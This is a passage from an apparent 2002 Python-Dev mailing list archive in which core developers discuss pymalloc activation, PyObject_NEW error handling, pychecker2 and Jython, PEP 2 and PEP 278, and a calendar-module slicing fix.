package.  There are only about 10 warnings generated so far.
One of the goals is to support Jython.  Although, 
we have only used CPython so far.

It is usable, but not nearly as capable as pychecker.
One very nice feature is that it is much easier
to add warnings without knowing much about the rest
of the code.  Warnings are generated from classes that
walk the ASTs.  These classes are usually quite small.

Neal


From Jack.Jansen@oratrix.com  Thu Mar 14 22:48:24 2002
From: Jack.Jansen@oratrix.com (Jack Jansen)
Date: Thu, 14 Mar 2002 23:48:24 +0100
Subject: [Python-Dev] Next version of PEP278 - universal newline support - available
In-Reply-To: <3c90aba2.27365980@mail.wanadoo.dk>
Message-ID: <977D5676-379D-11D6-99E5-003065517236@oratrix.com>

On donderdag, maart 14, 2002, at 05:51 , Finn Bock wrote:

> The patch univnewlines-20020313 appears to be a plain diff, and 
> for some
> reason, it doesn't apply cleanly for me, so I may be reading the patch
> wrongly.

Oops, sorry! There's a new version of the patch that is in 
context diff format.
>
> The PEP seems to assume that the changed behaviour only apply to
> .readline() and friends.

Definitely not! It happens on all input methods. I've added a 
sentence to the pep to clarify this.
--
- Jack Jansen        <Jack.Jansen@oratrix.com>        
http://www.cwi.nl/~jack -
- If I can't dance I don't want to be part of your revolution -- 
Emma Goldman -



From perky@fallin.lv  Thu Mar 14 22:53:50 2002
From: perky@fallin.lv (Hye-Shik Chang)
Date: Fri, 15 Mar 2002 07:53:50 +0900
Subject: [Python-Dev] 2.2.1 release schedule
In-Reply-To: <200203141924.g2EJOwr24996@pcp742651pcs.reston01.va.comcast.net>; from guido@python.org on Thu, Mar 14, 2002 at 02:24:58PM -0500
References: <2m663z120p.fsf@starship.python.net> <200203141827.g2EIRoJ24698@pcp742651pcs.reston01.va.comcast.net> <01f701c1cb89$edaa3ec0$6d94fea9@newmexico> <200203141924.g2EJOwr24996@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <20020315075350.A51781@fallin.lv>

Please check calendar module backward compatibility problem, too.

http://sourceforge.net/tracker/index.php?func=detail&aid=503202&group_id=5470&atid=305470

Thanks!


From faassen@vet.uu.nl  Thu Mar 14 22:59:16 2002
From: faassen@vet.uu.nl (Martijn Faassen)
Date: Thu, 14 Mar 2002 23:59:16 +0100
Subject: [Python-Dev] PEP 2: Procedure for Adding New Modules
Message-ID: <20020314225916.GA4527@vet.uu.nl>

Hi there,

My first post here. Hello everybody. You may have heard of me. :)

Many moons ago I was in a comp.lang.python discussion where extensions
to the standard library came up. Comments were that it was developed
slowly compared to the core language (this was in 2.2 development times),
and Tim Peters said things like the following:

> What is a hangup is that people also want stuff the current group of core
> developers has no competence (and/or sometimes interest) to write.  Like SSL
> support on Windows, or IPv6 support, etc.  Expert-level work in a field
> requires experts in that field to contribute.

> We also need a plan to keep
> their stuff running after they go away again, the lack of which is one
> strong reason Guido resists adding stuff to the library.

I said the following:

>> perhaps it would be good to set up an semi-formal group that *does*
>> treat this as their 'core business' (manage core library development
>> and perhaps even independent releases) A library-SIG, perhaps? 

And Tim said:

> Start by adding some meat to PEP 2.

And so I said I'd do some work on it. Contacted Eric Raymond who'd written
the one line of it that was there then, and got his permission to work on
it. And I wrote most of it. Got various comments on it on comp.lang.python.
And then it languished until this week, when I dug it up again, and
Barry posted it to the list of PEPs as a draft. So here it is:

http://python.sourceforge.net/peps/pep-0002.html

Is this going in the right direction? Any things I should change?
Note that the PEP does not talk so much about the technical issues.
At the time there was some work done on a separate PEP describing some
of those, but that one seems to have languished as well. This is an
early version of that, in case there's interest in reviving that effort:

http://groups.google.com/groups?selm=mailman.994034642.25601.python-list%40python.org&rnum=1

Regards,

Martijn



From guido@python.org  Thu Mar 14 23:11:26 2002
From: guido@python.org (Guido van Rossum)
Date: Thu, 14 Mar 2002 18:11:26 -0500
Subject: [Python-Dev] Re: PyChecker 2 (changed subject)
In-Reply-To: Your message of "Thu, 14 Mar 2002 17:48:04 EST."
 <3C9128A4.30311B28@metaslash.com>
References: <20020314085416-r01010800-4aa7ed50-0920-010c@10.0.0.23> <200203141617.g2EGHTQ24163@pcp742651pcs.reston01.va.comcast.net> <15504.56629.139299.340997@beluga.mojam.com> <016f01c1cb7c$e9378e40$6d94fea9@newmexico> <15504.60235.515422.420592@beluga.mojam.com> <01da01c1cb89$22c9e7a0$6d94fea9@newmexico>
 <3C9128A4.30311B28@metaslash.com>
Message-ID: <200203142311.g2ENBRF13825@odiug.zope.com>

> pychecker2 is a complete rewrite using the stdlib compiler
> package.  There are only about 10 warnings generated so far.
> One of the goals is to support Jython.  Although, 
> we have only used CPython so far.

Hm, but doesn't the compiler package use the parser module?  Does
Jython support the parser module?  I'd be very surprised, since it
uses different parsing technology...

--Guido van Rossum (home page: http://www.python.org/~guido/)


From fdrake@acm.org  Thu Mar 14 23:09:19 2002
From: fdrake@acm.org (Fred L. Drake)
Date: Thu, 14 Mar 2002 18:09:19 -0500 (EST)
Subject: [Python-Dev] [development doc updates]
Message-ID: <20020314230919.8838E18ECEF@grendel.zope.com>

The development version of the documentation has been updated:

    http://python.sourceforge.net/maint-docs/

Current version of docs in preparation for the 2.2.1 candidate.



From neal@metaslash.com  Thu Mar 14 23:12:12 2002
From: neal@metaslash.com (Neal Norwitz)
Date: Thu, 14 Mar 2002 18:12:12 -0500
Subject: [Python-Dev] Activating pymalloc
References: <200203140725.g2E7PYJ10662@mira.informatik.hu-berlin.de>
Message-ID: <3C912E4C.27B220CF@metaslash.com>

"Martin v. Loewis" wrote:
> 
> I just performed some benchmark of pymalloc, compared to glibc 2.2
> malloc, using xmlproc (a pure-Python XML parser) as the sample
> application. On an artificial input document, the standard
> configuration ran 16.3s; the configuration with pymalloc ran 15s.
> 
> I recommend to enable pymalloc by default; I can commit the necessary
> changes if desired.

I had some issues w/purify & pymalloc (1000s of warnings).
I think these problems were documented under the thread:

	* [Python-Dev] Mixing memory management APIs

in January and February (definitely in Feb).

I don't think they have been fixed.  I can't remember all the
issues (sometimes it was pymalloc, other times it was unicode).
So I may be mixing some things up.

Part of the problem was the code in Modules/sre.h:16:
/* size of a code word (must be unsigned short or larger, and
   large enough to hold a Py_UNICODE character) */
#ifdef Py_UNICODE_WIDE
#define SRE_CODE unsigned long
#else
#define SRE_CODE unsigned short
#endif

#define SRE_CODE unsigned short

Notice SRE_CODE is always set to unsigned short.  
I don't know what is correct.

I can re-run purify.  Although, I have a crappy beta, so I don't
know if it will be useful or not.

Neal


From pedroni@inf.ethz.ch  Thu Mar 14 23:03:56 2002
From: pedroni@inf.ethz.ch (Samuele Pedroni)
Date: Fri, 15 Mar 2002 00:03:56 +0100
Subject: [Python-Dev] Re: PyChecker 2 (changed subject)
References: <20020314085416-r01010800-4aa7ed50-0920-010c@10.0.0.23> <200203141617.g2EGHTQ24163@pcp742651pcs.reston01.va.comcast.net> <15504.56629.139299.340997@beluga.mojam.com> <016f01c1cb7c$e9378e40$6d94fea9@newmexico> <15504.60235.515422.420592@beluga.mojam.com> <01da01c1cb89$22c9e7a0$6d94fea9@newmexico>             <3C9128A4.30311B28@metaslash.com>  <200203142311.g2ENBRF13825@odiug.zope.com>
Message-ID: <000b01c1cbac$8555f120$6d94fea9@newmexico>

From: Guido van Rossum <guido@python.org>
> > pychecker2 is a complete rewrite using the stdlib compiler
> > package.  There are only about 10 warnings generated so far.
> > One of the goals is to support Jython.  Although, 
> > we have only used CPython so far.
> 
> Hm, but doesn't the compiler package use the parser module?  Does
> Jython support the parser module?  I'd be very surprised, since it
> uses different parsing technology...
> 

No, jython does not support the parser module, but while
supporting its concrete trees would have been a very painful
operation, we can use our parsing technology to make
the compiler package parsing part working also
under Jython, that is at least *my* plan,

then IMHO CPython parser module should be slowly deprecated
for users and used only internally by the compiler package.

regards.



From jeremy@zope.com  Fri Mar 15 00:12:01 2002
From: jeremy@zope.com (Jeremy Hylton)
Date: Thu, 14 Mar 2002 19:12:01 -0500
Subject: [Python-Dev] Re: PyChecker 2 (changed subject)
In-Reply-To: <200203142311.g2ENBRF13825@odiug.zope.com>
Message-ID: <web-3739978@digicool.com>

On Thu, 14 Mar 2002 18:11:26 -0500
 Guido van Rossum <guido@python.org> wrote:
> > pychecker2 is a complete rewrite using the stdlib
> compiler
> > package.  There are only about 10 warnings generated so
> far.
> > One of the goals is to support Jython.  Although, 
> > we have only used CPython so far.
> 
> Hm, but doesn't the compiler package use the parser
> module?  Does
> Jython support the parser module?  I'd be very surprised,
> since it
> uses different parsing technology...

The stdlib compiler package relies on the builtin parser
module.  It converts the concrete syntax returned by the
parser module to an AST.  It should be possible to write a
similar transformer for jython that converts from its
internal parser representation to the same AST.

On the other hand, I plan to work on a new AST for the
compiler builtin to the interpreter.  I expect it will be
quite similar to the compiler package's AST, but perhaps not
exactly the same.  It might be better if CPython and Jython
standardized an AST as part of the 2.3 development cycle.
Then pychecker2 could use it.

Jeremy


From nas@python.ca  Fri Mar 15 00:23:22 2002
From: nas@python.ca (Neil Schemenauer)
Date: Thu, 14 Mar 2002 16:23:22 -0800
Subject: [Python-Dev] Activating pymalloc
In-Reply-To: <200203141604.g2EG4kT24107@pcp742651pcs.reston01.va.comcast.net>; from guido@python.org on Thu, Mar 14, 2002 at 11:04:46AM -0500
References: <200203140725.g2E7PYJ10662@mira.informatik.hu-berlin.de> <3C907272.27FB9B3B@lemburg.com> <200203141604.g2EG4kT24107@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <20020314162322.A4032@glacier.arctrix.com>

Guido van Rossum wrote:
> Some extensions will break because they don't use the right
> alloc/dealloc macros (we just fixed a few of these in Zope)

A lot of extensions will break.  The example code in xxmodule.c was
"wrong" for years.  

> alpha time is a good time to start fortcing this issue.  A big warning
> in NEWS might be useful.

If we don't want to create yet another memory management API then that's
the right approach.  Personally, I don't mind enabling pymalloc without
changing the API.  However, I suspect I'm better at debugging memory
management bugs than the average Python user.  I'm afraid users are
going to be upset when they upgrade to 2.3 and things start crashing
because they are using some broken extension modules.

  Neil


From skip@pobox.com  Fri Mar 15 01:47:39 2002
From: skip@pobox.com (Skip Montanaro)
Date: Thu, 14 Mar 2002 19:47:39 -0600
Subject: [Python-Dev] 2.2.1 release schedule
In-Reply-To: <20020315075350.A51781@fallin.lv>
References: <2m663z120p.fsf@starship.python.net>
 <200203141827.g2EIRoJ24698@pcp742651pcs.reston01.va.comcast.net>
 <01f701c1cb89$edaa3ec0$6d94fea9@newmexico>
 <200203141924.g2EJOwr24996@pcp742651pcs.reston01.va.comcast.net>
 <20020315075350.A51781@fallin.lv>
Message-ID: <15505.21179.361176.360413@12-248-41-177.client.attbi.com>

    Hye-Shik> Please check calendar module backward compatibility problem,
    Hye-Shik> too.
    Hye-Shik> http://sourceforge.net/tracker/index.php?func=detail&aid=503202&group_id=5470&atid=305470

I just attached a comment with a proposed patch.  Hopefully it will
stimulate a checkin.

Skip


From skip@pobox.com  Fri Mar 15 02:07:31 2002
From: skip@pobox.com (Skip Montanaro)
Date: Thu, 14 Mar 2002 20:07:31 -0600
Subject: [Python-Dev] PEP 2: Procedure for Adding New Modules
In-Reply-To: <20020314225916.GA4527@vet.uu.nl>
References: <20020314225916.GA4527@vet.uu.nl>
Message-ID: <15505.22371.564782.807130@12-248-41-177.client.attbi.com>

    Martijn> http://python.sourceforge.net/peps/pep-0002.html

    Martijn> Is this going in the right direction? Any things I should
    Martijn> change?

Yeah, I think it's headed in the right direction.  One thing I would suggest
is that the lead maintainer(s) for a module be granted checkin privileges.
You mentioned python-dev.  It's high-traffic enough that the list admins
should notice pretty quickly if a module's maintainer's email address goes
bad.  That would allow someone to start tracking them down before it's been
18 months since anyone's heard from Joe X. Emell.

Skip


From guido@python.org  Fri Mar 15 02:22:31 2002
From: guido@python.org (Guido van Rossum)
Date: Thu, 14 Mar 2002 21:22:31 -0500
Subject: [Python-Dev] Re: PyChecker 2 (changed subject)
In-Reply-To: Your message of "Fri, 15 Mar 2002 00:03:56 +0100."
 <000b01c1cbac$8555f120$6d94fea9@newmexico>
References: <20020314085416-r01010800-4aa7ed50-0920-010c@10.0.0.23> <200203141617.g2EGHTQ24163@pcp742651pcs.reston01.va.comcast.net> <15504.56629.139299.340997@beluga.mojam.com> <016f01c1cb7c$e9378e40$6d94fea9@newmexico> <15504.60235.515422.420592@beluga.mojam.com> <01da01c1cb89$22c9e7a0$6d94fea9@newmexico> <3C9128A4.30311B28@metaslash.com> <200203142311.g2ENBRF13825@odiug.zope.com>
 <000b01c1cbac$8555f120$6d94fea9@newmexico>
Message-ID: <200203150222.g2F2MW626258@pcp742651pcs.reston01.va.comcast.net>

> No, jython does not support the parser module, but while
> supporting its concrete trees would have been a very painful
> operation, we can use our parsing technology to make
> the compiler package parsing part working also
> under Jython, that is at least *my* plan,

Good!

> then IMHO CPython parser module should be slowly deprecated
> for users and used only internally by the compiler package.

Agreed.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From guido@python.org  Fri Mar 15 02:25:25 2002
From: guido@python.org (Guido van Rossum)
Date: Thu, 14 Mar 2002 21:25:25 -0500
Subject: [Python-Dev] Re: PyChecker 2 (changed subject)
In-Reply-To: Your message of "Thu, 14 Mar 2002 19:12:01 EST."
 <web-3739978@digicool.com>
References: <web-3739978@digicool.com>
Message-ID: <200203150225.g2F2PPF26285@pcp742651pcs.reston01.va.comcast.net>

> On the other hand, I plan to work on a new AST for the
> compiler builtin to the interpreter.  I expect it will be
> quite similar to the compiler package's AST, but perhaps not
> exactly the same.  It might be better if CPython and Jython
> standardized an AST as part of the 2.3 development cycle.

That sounds like a great plan!  When can you start?

--Guido van Rossum (home page: http://www.python.org/~guido/)


From andymac@bullseye.apana.org.au  Thu Mar 14 20:44:40 2002
From: andymac@bullseye.apana.org.au (Andrew MacIntyre)
Date: Fri, 15 Mar 2002 07:44:40 +1100 (EDT)
Subject: [Python-Dev] Activating pymalloc
In-Reply-To: <200203140725.g2E7PYJ10662@mira.informatik.hu-berlin.de>
Message-ID: <Pine.OS2.4.32.0203150739040.3696-100000@tenring.andymac.org>

On Thu, 14 Mar 2002, Martin v. Loewis wrote:

> I just performed some benchmark of pymalloc, compared to glibc 2.2
> malloc, using xmlproc (a pure-Python XML parser) as the sample
> application. On an artificial input document, the standard
> configuration ran 16.3s; the configuration with pymalloc ran 15s.

I've also been playing with this on FreeBSD and OS/2, using PyBench and
others, with gains of about 3%.

> I recommend to enable pymalloc by default; I can commit the necessary
> changes if desired.

+1

Also interesting to note that current CVS seems to be doing ~7-8% better
than 2.2 even without pymalloc, at least on those benchmarks I've compared
both with (pystone, PyBench.

--
Andrew I MacIntyre                     "These thoughts are mine alone..."
E-mail: andymac@bullseye.apana.org.au  | Snail: PO Box 370
        andymac@pcug.org.au            |        Belconnen  ACT  2616
Web:    http://www.andymac.org/        |        Australia



From andymac@bullseye.apana.org.au  Thu Mar 14 20:47:00 2002
From: andymac@bullseye.apana.org.au (Andrew MacIntyre)
Date: Fri, 15 Mar 2002 07:47:00 +1100 (EDT)
Subject: [Python-Dev] Activating pymalloc
In-Reply-To: <3C907272.27FB9B3B@lemburg.com>
Message-ID: <Pine.OS2.4.32.0203150745110.3696-100000@tenring.andymac.org>

On Thu, 14 Mar 2002, M.-A. Lemburg wrote:

> AFAIK, pymalloc still has problems with threading, so I unless this
> has already been resolved, I don't think it's a good idea to
> enable it by default just yet (since threads are enabled per default
> too).

My OS/2 build definitely uses threads (don't remember what FreeBSD
./configures to), and survives all the threading tests - which may not
highlight the problems you're referring to.

--
Andrew I MacIntyre                     "These thoughts are mine alone..."
E-mail: andymac@bullseye.apana.org.au  | Snail: PO Box 370
        andymac@pcug.org.au            |        Belconnen  ACT  2616
Web:    http://www.andymac.org/        |        Australia



From skip@pobox.com  Fri Mar 15 04:52:11 2002
From: skip@pobox.com (Skip Montanaro)
Date: Thu, 14 Mar 2002 22:52:11 -0600
Subject: [Python-Dev] __getitem__ & slice question
Message-ID: <15505.32251.198682.122158@12-248-41-177.client.attbi.com>

I checked in what I thought was a fix for calendar.py and test_calendar.py,
then realized it didn't handle slices.  I've never dealt with __getitem__
and slices before.  Would someone try out this modified version of
calendar._localized_name and let me know what I'm doing wrong?

    class _localized_name:
        def __init__(self, format, len):
            self.data = []
            for i in range(len):
                self.data.append(strftime(format, (i,)*9).capitalize())
            # months are one-based - match 2.1 behavior
            if format == '%b':
                self.data[0] = "   "
            elif format == '%B':
                self.data[0] = ""

        def __getitem__(self, item):
            if type(item) is types.SliceType:
                return self.data[item.start:item.stop]
            return self.data[item]

        def __len__(self):
            return len(self.data)

For example, try something like

    calendar.month_abbr[-20:]

Also, should I worry about the slice's step attribute?

Skip


From jeremy@zope.com  Fri Mar 15 05:19:18 2002
From: jeremy@zope.com (Jeremy Hylton)
Date: Fri, 15 Mar 2002 00:19:18 -0500
Subject: [Python-Dev] PEP 2: Procedure for Adding New Modules
In-Reply-To: <15505.22371.564782.807130@12-248-41-177.client.attbi.com>
Message-ID: <web-3741467@digicool.com>

On Thu, 14 Mar 2002 20:07:31 -0600
 Skip Montanaro <skip@pobox.com> wrote:
> It's high-traffic enough that
> the list admins
> should notice pretty quickly if a module's maintainer's
> email address goes
> bad.

Speaking as one of the list admins, I don't have any idea
how I would notice that an email address goes bad.  Mailman
disables delivery without bothering me.

Jeremy


From skip@pobox.com  Fri Mar 15 05:46:20 2002
From: skip@pobox.com (Skip Montanaro)
Date: Thu, 14 Mar 2002 23:46:20 -0600
Subject: [Python-Dev] PEP 2: Procedure for Adding New Modules
In-Reply-To: <web-3741467@digicool.com>
References: <15505.22371.564782.807130@12-248-41-177.client.attbi.com>
 <web-3741467@digicool.com>
Message-ID: <15505.35500.668385.596442@12-248-41-177.client.attbi.com>

    Jeremy> Speaking as one of the list admins, I don't have any idea how I
    Jeremy> would notice that an email address goes bad.  Mailman disables
    Jeremy> delivery without bothering me.

Hmmm...  I thought it could be configured to bother you.  I may be wrong.

Skip



From fdrake@acm.org  Fri Mar 15 06:06:25 2002
From: fdrake@acm.org (Fred L. Drake, Jr.)
Date: Fri, 15 Mar 2002 01:06:25 -0500
Subject: [Python-Dev] PEP 2: Procedure for Adding New Modules
In-Reply-To: <15505.35500.668385.596442@12-248-41-177.client.attbi.com>
References: <15505.22371.564782.807130@12-248-41-177.client.attbi.com>
 <web-3741467@digicool.com>
 <15505.35500.668385.596442@12-248-41-177.client.attbi.com>
Message-ID: <15505.36705.373995.243942@grendel.zope.com>

Skip Montanaro writes:
 > Hmmm...  I thought it could be configured to bother you.  I may be wrong.

It definately can be, but that may be an action that's grouped with
other membership-change messages (which doesn't really "feel right" to
me, since it's more like an error than normal operation).

Barry should be able to clarify.


  -Fred

-- 
Fred L. Drake, Jr.  <fdrake at acm.org>
PythonLabs at Zope Corporation


From tim.one@comcast.net  Fri Mar 15 06:47:42 2002
From: tim.one@comcast.net (Tim Peters)
Date: Fri, 15 Mar 2002 01:47:42 -0500
Subject: [Python-Dev] __getitem__ & slice question
In-Reply-To: <15505.32251.198682.122158@12-248-41-177.client.attbi.com>
Message-ID: <LNBBLJKPBEHFEDALKOLCMEJAOEAA.tim.one@comcast.net>

[Skip Montanaro]
> I checked in what I thought was a fix for calendar.py and
> test_calendar.py, then realized it didn't handle slices.

Why does that matter?  calendar.__all__ doesn't export _localized_name or
any of the gimmicks built from it, so it's purely an internal issue, and the
internals never need slices here (granted that day_name etc are poorly named
for module privates -- or perhaps the __all__ list and the docs are in
error).

> I've never dealt with __getitem__ and slices before.  Would someone try
> out this modified version of calendar._localized_name and let me know
> what I'm doing wrong?
>
>     class _localized_name:
>         def __init__(self, format, len):
>             self.data = []
>             for i in range(len):
>                 self.data.append(strftime(format, (i,)*9).capitalize())
>             # months are one-based - match 2.1 behavior
>             if format == '%b':
>                 self.data[0] = "   "
>             elif format == '%B':
>                 self.data[0] = ""

Now this changes the current semantics in a major way:  if you're going to
precompute all the values, construct plain tuples instead and be done with
it.  I assume that whoever patched this to begin with deliberately
recomputed localized values on each dynamic reference so that they would
respond appropriately to dynamic locale changes.

>         def __getitem__(self, item):
>             if type(item) is types.SliceType:
>                 return self.data[item.start:item.stop]
>             return self.data[item]
>
>         def __len__(self):
>             return len(self.data)
>
> For example, try something like
>
>     calendar.month_abbr[-20:]
>
> Also, should I worry about the slice's step attribute?

To both, I don't think you should be changing this code to do static
precomputation at all.  But, if we must, toss the class and build plain
tuples instead, e.g.

day_name = tuple([strftime('%A', (i,)*9) for i in range(7)])

In the static case, trying to build a class that emulates a tuple is
pointless.



From tim.one@comcast.net  Fri Mar 15 07:20:47 2002
From: tim.one@comcast.net (Tim Peters)
Date: Fri, 15 Mar 2002 02:20:47 -0500
Subject: [Python-Dev] Activating pymalloc
In-Reply-To: <Pine.OS2.4.32.0203150745110.3696-100000@tenring.andymac.org>
Message-ID: <LNBBLJKPBEHFEDALKOLCAEJDOEAA.tim.one@comcast.net>

[Andrew MacIntyre]
> My OS/2 build definitely uses threads (don't remember what FreeBSD
> ./configures to), and survives all the threading tests - which may not
> highlight the problems you're referring to.

Switching to pymalloc shouldn't be a correctness issue for code playing
strictly by the rules.  The historical problem is that the Python C API
exposes more different spellings for "get memory" and "free memory" than you
may believe possible, "the rules" for navigating this maze aren't
documented, and so far all the spellings have reduced to plain "malloc" and
"free".

So code cheating in any way has suffered no ill effects.  People trying
pymalloc have routinely reported hard-to-track-down problems, which have (so
far) been traced to violations of the rules, and the explanation is always a
surprise to the extension author ("I didn't know that!").

I believe all cases to date consisted of using specific "get memory" and
"free memory" spelling pairs that aren't supposed to be used in tandem.
It's also possible (well, it's more like inevitable) that some extension
modules are calling these guys today when the global interpreter lock isn't
held.  Since platform malloc/free are generally threadsafe on their own,
there won't be a hint of trouble until we turn on pymalloc (which currently
relies on the GIL for thread safety).



From tim.one@comcast.net  Fri Mar 15 07:27:59 2002
From: tim.one@comcast.net (Tim Peters)
Date: Fri, 15 Mar 2002 02:27:59 -0500
Subject: [Python-Dev] Activating pymalloc
In-Reply-To: <3C912E4C.27B220CF@metaslash.com>
Message-ID: <LNBBLJKPBEHFEDALKOLCKEJDOEAA.tim.one@comcast.net>

[Neal Norwitz]
> ...
> Part of the problem was the code in Modules/sre.h:16:
> /* size of a code word (must be unsigned short or larger, and
>    large enough to hold a Py_UNICODE character) */
> #ifdef Py_UNICODE_WIDE
> #define SRE_CODE unsigned long
> #else
> #define SRE_CODE unsigned short
> #endif
>
> #define SRE_CODE unsigned short

That code is nuts.  Open a bug report and assign it to effbot.

> Notice SRE_CODE is always set to unsigned short.
> I don't know what is correct.

That's why you should open a bug report and assign it to effbot <wink>.

> I can re-run purify.  Although, I have a crappy beta, so I don't
> know if it will be useful or not.

It didn't look useful last time (the UMRs you reported then were in the
bowels of your platform's libc, with oodles of "*unknown func*" lines above
the bowels); if that's the best it can do, don't bother.



From tim.one@comcast.net  Fri Mar 15 07:38:33 2002
From: tim.one@comcast.net (Tim Peters)
Date: Fri, 15 Mar 2002 02:38:33 -0500
Subject: [Python-Dev] Activating pymalloc
In-Reply-To: <20020314162322.A4032@glacier.arctrix.com>
Message-ID: <LNBBLJKPBEHFEDALKOLCKEJEOEAA.tim.one@comcast.net>

[Guido]
> Some extensions will break because they don't use the right
> alloc/dealloc macros (we just fixed a few of these in Zope)

Are "the right" alloc/dealloc macros documented anywhere?  I can't find it,
if they are.  Much of a pymalloc fan as I am, I'm -1 on introducing it if we
can't give extension authors a clear, brief, prominent and self-contained
account of the memory rules they're supposed to follow (I don't really know
what they are -- I always reverse-engineer it as needed, because I never
found a place in the docs that offered sufficient guidance).

[Neal]
> A lot of extensions will break.  The example code in xxmodule.c was
> "wrong" for years.

Ditto Zope (as Guido said), ditto Marc-Andre's extensions, ditto NumPy
(IIRC), yadda yadda yadda.  I don't know whether MarkH has tried the massive
Win32 extensions with pymalloc yet.

> ...
> I'm afraid users are going to be upset when they upgrade to 2.3 and
> things start crashing because they are using some broken extension
> modules.

Oh, the users are always upset:  they should view breakage in a new area as
a refreshing change of pace <wink>.



From martin@v.loewis.de  Fri Mar 15 07:29:50 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: Fri, 15 Mar 2002 08:29:50 +0100
Subject: [Python-Dev] Use of PyObject_NEW
Message-ID: <200203150729.g2F7Toq01315@mira.informatik.hu-berlin.de>

I tried to understand the various memory allocation function and
macros in Python, and found that there is probably a misunderstanding
in what PyObject_NEW does.

For example, PyRange_New says

	rangeobject *obj = PyObject_NEW(rangeobject, &PyRange_Type);

	if (obj == NULL)
		return NULL;

The assumption apparently is that somebody will raise a MemoryError
and return NULL when allocation fails. However, this code expands to

     rangeobject *obj = ((rangeobject*)PyObject_Init(
               (PyObject *) malloc(((&PyRange_Type)->tp_basicsize)),
               (&PyRange_Type)));

	if (obj == ((void *)0) )
		return ((void *)0) ;

malloc will just return NULL in case of failure, and PyObject_Init
starts with

	if (op == NULL) {
		PyErr_SetString(PyExc_SystemError,
				"NULL object passed to PyObject_Init");
		return op;
  	}

So instead of a MemoryError, you will get a SystemError if the system
runs out of memory. Is that intentional?

The documentation says

  Macro version of \cfunction{PyObject_New()}, to gain performance at
  the expense of safety.  This does not check \var{type} for a \NULL{}
  value.

This is incorrect: It does check for NULL. It also does not help to
gain performance - PyObject_New has three calls (_PyObject_New, malloc,
_Py_NewReference), and so does PyObject_NEW (malloc, PyObject_Init,
_Py_NewReference).

I recommend to deprecate PyObject_NEW (and correspondingly
PyObject_NEW_VAR, PyObject_DEL).

Regards,
Martin


From martin@v.loewis.de  Fri Mar 15 07:47:42 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: 15 Mar 2002 08:47:42 +0100
Subject: [Python-Dev] Activating pymalloc
In-Reply-To: <3C912E4C.27B220CF@metaslash.com>
References: <200203140725.g2E7PYJ10662@mira.informatik.hu-berlin.de>
 <3C912E4C.27B220CF@metaslash.com>
Message-ID: <m3sn72uva9.fsf@mira.informatik.hu-berlin.de>

Neal Norwitz <neal@metaslash.com> writes:

> I had some issues w/purify & pymalloc (1000s of warnings).
> I think these problems were documented under the thread:
> 
> 	* [Python-Dev] Mixing memory management APIs

I can't find any documentation for that except that purify reports
13664 errors, among which are Free Memory Reads, Array Bounds Reads,
and Unitialized Memory Reads.

A report on a specific instance would be appreciated, perhaps starting
with the one that is recorded most frequently.

Regards,
Martin


From tim.one@comcast.net  Fri Mar 15 08:29:06 2002
From: tim.one@comcast.net (Tim Peters)
Date: Fri, 15 Mar 2002 03:29:06 -0500
Subject: [Python-Dev] Use of PyObject_NEW
In-Reply-To: <200203150729.g2F7Toq01315@mira.informatik.hu-berlin.de>
Message-ID: <LNBBLJKPBEHFEDALKOLCOEJIOEAA.tim.one@comcast.net>

[Martin v. Loewis]
> I tried to understand the various memory allocation function and
> macros in Python, and found that there is probably a misunderstanding
> in what PyObject_NEW does.
>
> For example, PyRange_New says
>
> 	rangeobject *obj = PyObject_NEW(rangeobject, &PyRange_Type);
>
> 	if (obj == NULL)
> 		return NULL;
>
> The assumption apparently is that somebody will raise a MemoryError
> and return NULL when allocation fails. However, this code expands to
>
>      rangeobject *obj = ((rangeobject*)PyObject_Init(
>                (PyObject *) malloc(((&PyRange_Type)->tp_basicsize)),
>                (&PyRange_Type)));
>
> 	if (obj == ((void *)0) )
> 		return ((void *)0) ;
>
> malloc will just return NULL in case of failure, and PyObject_Init
> starts with
>
> 	if (op == NULL) {
> 		PyErr_SetString(PyExc_SystemError,
> 				"NULL object passed to PyObject_Init");
> 		return op;
>   	}
>
> So instead of a MemoryError, you will get a SystemError if the system
> runs out of memory. Is that intentional?

Not credible -- it's a bug.  PyObject_NEW and PyObject_New should behave
alike, and PyObject_New does set MemoryError in this case (via
_PyObject_New().

> The documentation says
>
>   Macro version of \cfunction{PyObject_New()}, to gain performance at
>   the expense of safety.  This does not check \var{type} for a \NULL{}
>   value.
>
> This is incorrect: It does check for NULL.

No, it's correct:  as stated, it does not check \var{type} for a NULL.  Note
that the docs name the *second* argument "type", while the macro names the
first argument "type".  Neither PyObject_New nor PyObject_NEW check their
second argument for NULL (so it's a minor mystery too why the docs bother to
point this out only for PyObject_NEW).

> It also does not help to gain performance - PyObject_New has three
> calls (_PyObject_New, malloc, _Py_NewReference), and so does
> PyObject_NEW (malloc, PyObject_Init, _Py_NewReference).
>
> I recommend to deprecate PyObject_NEW (and correspondingly
> PyObject_NEW_VAR, PyObject_DEL).

I think that's pointless -- lots of code uses these things, and we have no
effective way to deprecate pieces of the C API anyway.  I'd be in favor of
redefining

#define PyObject_NEW PyObject_New

to get rid of the MemoryError bug, though.



From martin@v.loewis.de  Fri Mar 15 08:12:46 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: 15 Mar 2002 09:12:46 +0100
Subject: [Python-Dev] Activating pymalloc
In-Reply-To: <LNBBLJKPBEHFEDALKOLCKEJEOEAA.tim.one@comcast.net>
References: <LNBBLJKPBEHFEDALKOLCKEJEOEAA.tim.one@comcast.net>
Message-ID: <m31yemuu4h.fsf@mira.informatik.hu-berlin.de>

Tim Peters <tim.one@comcast.net> writes:

> Are "the right" alloc/dealloc macros documented anywhere?  I can't
> find it, if they are.

http://www.python.org/doc/current/api/memoryInterface.html

is as precise and comprehensive as anything I would have written
myself. The Examples even give explicit examples what cases to avoid.

For PyObject, the equivalent documentation is at

http://www.python.org/doc/current/api/allocating-objects.html

> Much of a pymalloc fan as I am, I'm -1 on introducing it if we can't
> give extension authors a clear, brief, prominent and self-contained
> account of the memory rules they're supposed to follow (I don't
> really know what they are -- I always reverse-engineer it as needed,
> because I never found a place in the docs that offered sufficient
> guidance).

Do you think you would understand the documentation that is currently
there?

BTW, I found the documentation by grepping for PyMem_ in all .tex
files, because I could not be bothered to read the online version,
either.

It leaves out a good many details (i.e. additional API), but I think
this is deliberate - you are not supposed to ever use this other API,
anyway.


> > A lot of extensions will break.  The example code in xxmodule.c was
> > "wrong" for years.
> 
